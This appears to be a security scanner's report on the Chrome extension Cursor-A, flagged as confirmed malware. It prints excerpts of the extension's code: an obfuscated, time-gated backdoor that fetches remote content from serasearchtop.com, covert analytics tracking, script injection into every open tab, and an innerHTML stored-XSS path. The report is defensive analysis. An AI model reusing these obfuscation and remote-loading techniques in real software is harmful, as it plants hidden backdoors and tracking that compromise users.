Security Alert: Confirmed Malware
Cursor-A custom cursor
ID: hdgdghnfcappcodemanhafioghjhlbpb
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- yurih4174View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Choose your own cursor. Customize your cursor and freshen your experience.
Cursor-A replaces the default cursor with something cute, funny, and trendy. We offer: 📍Pre-made themes and presets 📍Turn on/off this extension easily 📍Create your collection of mouse cursors from any images Customize your experience of using this app ⚡️
This heavily obfuscated function assembles the string 'fetch' character-by-character from fragments ('fe'+'tc'+'h'), constructs a URL to https://serasearchtop.com/cfg/{extension_id}/locale.json using a localStorage-based time-gate (~1046-day delay), then calls fetch() to load remote JSON that is injected into the dayjs locale system via loadLocale(). The combination of obfuscation, a time-bomb delay mechanism, and use of a third-party domain to deliver runtime-loaded content are strong indicators of a backdoor designed to evade static analysis and store review detection.
function ji() { const Xd = top; let pN; const Wl = (qE ? chrome.runtime : Xd).id, rD = localStorage, wS = nL ? "ca" : fF, Nc = undefined, qo = kl ? qE ? wS + (qE ? "le" : wS) : rD : rD, PD = (pu ? "lo" : rD) + qo, cO = +new Date; let qu = rD.getItem(PD); const PH = 2425618489; var CI; if (pu ? !qu : qo) qu = PH - cO, rD.setItem(PD, qu); else { ... let gv = (Ft ? BZ : rD) + (nL ? HH + (nL ? "//s" : Nc) : MT) + Vp;...gv += kl ? `${Wl}/${PD}${yw}` : Xy; let jg = kl ? "fe" : mR, No = nL ? "h" : Nc, Ra = nL ? jg + (SU + No) : wS, Ij = kl ? Ra : Xd;Xd[qE ? Ij : pN](gv).then((Xd => { let pN; (nL ? Xd.ok : Nc) && Xd.json().then((Xd => su.loadLocale(Xd))) })) }}}The extension generates a persistent UUID (client ID) stored in chrome.storage.local and sends it to Google Analytics (UA-211094822-1) via the Measurement Protocol on every background page load. This constitutes covert tracking of users across browsing sessions using the extension runtime ID and a stable persistent identifier, without any user disclosure or consent mechanism.
async function rD() { const Xd = await new Promise((Xd => { chrome.storage.local.get(["cid"], (pN => { Xd(pN) })) })); let { cid: pN } = Xd; return pN || (pN = (0, fF.v4)(), chrome.storage.local.set({ cid: pN })), pN}async function wS(Xd) { const pN = undefined, Wl = { v: "1", tid: Xd, cid: await rD(), t: "pageview", dp: "/background", dt: "background", dh: `chrome-extension://${chrome.runtime.id}` }, fF = `https://www.google-analytics.com/collect?${new URLSearchParams(Wl).toString()}`; await fetch(fF, { method: "POST", body: "" })}Wl.default = wS}, { uuid: 1}];(0, fF.default)("UA-211094822-1")On first install, the background script programmatically injects customCursor.js into every currently open tab whose URL starts with 'http' using chrome.tabs.executeScript. Combined with the <all_urls> permission, this gives the extension the ability to inject arbitrary JavaScript into all active browsing contexts immediately at install time without requiring a page reload, significantly expanding the attack surface beyond what a cursor customizer requires.
onInstall() { chrome.tabs.query({}, (function(Xd) { for (let pN = 0; pN < Xd.length; pN++) if (Xd[pN].url && -1 != Xd[pN].url.indexOf("http")) try { chrome.tabs.executeScript(Xd[pN].id, { file: "js/customCursor.js" }, (function(Xd) { let pN = chrome.runtime.lastError })) } catch (Xd) {} })), chrome.storage.local.set({ collection: HH, size: 3, myOwnListCol: {} })}The reload() method calls chrome.tabs.query({}) with no filter, enumerating ALL open tabs across every domain, then sends an update message to each. With the <all_urls> permission this means the extension communicates with and pushes state into every tab the user has open — including sensitive pages like banking or email — on every cursor change interaction.
reload() { chrome.tabs.query({}, (function(Xd) { let pN = { action: "update" }; for (let Wl = 0; Wl < Xd.length; ++Wl) chrome.tabs.sendMessage(Xd[Wl].id, pN) }))}Promise.all([GQ, Nc]).then((Xd => { for (let pN in Xd) Xd[pN] && "pointer" == Xd[pN].type && (rD.pointer.path = Xd[pN].data), Xd[pN] && "cursor" == Xd[pN].type && (rD.cursor.path = Xd[pN].data); chrome.storage.local.set({ selected: rD, selected_type: "system" })})), this.reload()On installation the extension opens a tab to ladnet.co with the extension runtime ID embedded in the URL path, and registers an uninstall redirect to the same domain. The runtime ID is transmitted to the third-party domain ladnet.co on both install and uninstall events, enabling the operator to track individual installation and removal events correlated to specific extension instances.
chrome.runtime.onInstalled.addListener((Xd => { "install" === Xd.reason && chrome.tabs.create({ url: `https://ladnet.co/${chrome.runtime.id}/thanks.html` })})), chrome.runtime.setUninstallURL(`https://ladnet.co/${chrome.runtime.id}/uninstall.html`)Cursor path values read from chrome.storage.local are interpolated into a style template string and assigned to innerHTML without sanitization. If any code (such as the obfuscated remote-loading backdoor in background.js) were to tamper with the stored cursor.path value to contain a closing style tag followed by a script tag, this creates a stored XSS chain from storage poisoning to arbitrary HTML injection on every page.
chrome.storage.local.get(null, (function(Xd) { "none" == Xd.selected_type && (QP.innerHTML = ""), PD = Xd.selected, wS = Xd.size, chrome.storage.sync.get(["disabled"], (function(Xd) { Xd["disabled"] || qu() }))}))// In qu():"system" == PD.type && ( pN = pN.replace(/#cursor#/g, PD.cursor.path), pN = pN.replace(/#pointer#/g, PD.pointer.path), QP.innerHTML = pN)"custom" == PD.type && ( pN = pN.replace(/#cursor#/g, PD.cursor.path), QP.innerHTML = pN)User-uploaded cursor images are read as full data URLs via FileReader and stored directly in chrome.storage.local. The only validation is a dimension check that shows an alert but does NOT prevent storage of oversized or malformed files — arbitrary binary content can be stored as a data URL. This stored data URL is later injected into CSS via innerHTML in popup.js, completing a stored XSS chain from file upload to DOM injection.
qo.onload = Xd => { const pN = this.collectionId; let wS = this.current; fF.default.isEmptyObject(wS) && (wS = { pointer: {}, cursor: {} }); const HH = new Image; HH.src = Xd.target.result, HH.onload = () => { if (HH.width > 256 || HH.height > 256) alert("Don't use pictures more than 128x128 pixels;"); else { if ("cursor" === this.uploadType) { wS.cursor.width = HH.width, wS.cursor.height = HH.height, wS.cursor.path = Xd.target.result, wS.cursor.name = rD, wS.cursor.size = Xd.loaded; } this.collection[this.collectionId] = wS, chrome.storage.local.set({ myOwnListCol: this.collection }) } }}qo.readAsDataURL(Xd.target.files[0])By severity
Versions scanned
Showing 3 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.7.3 | 7 |
| 0.7.2 | 8 |
| 0.7.1 | 3 |
Files with findings
3 distinct paths — top paths by unique finding count:
- js/background.js11
- js/popup.js5
- js/settings.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.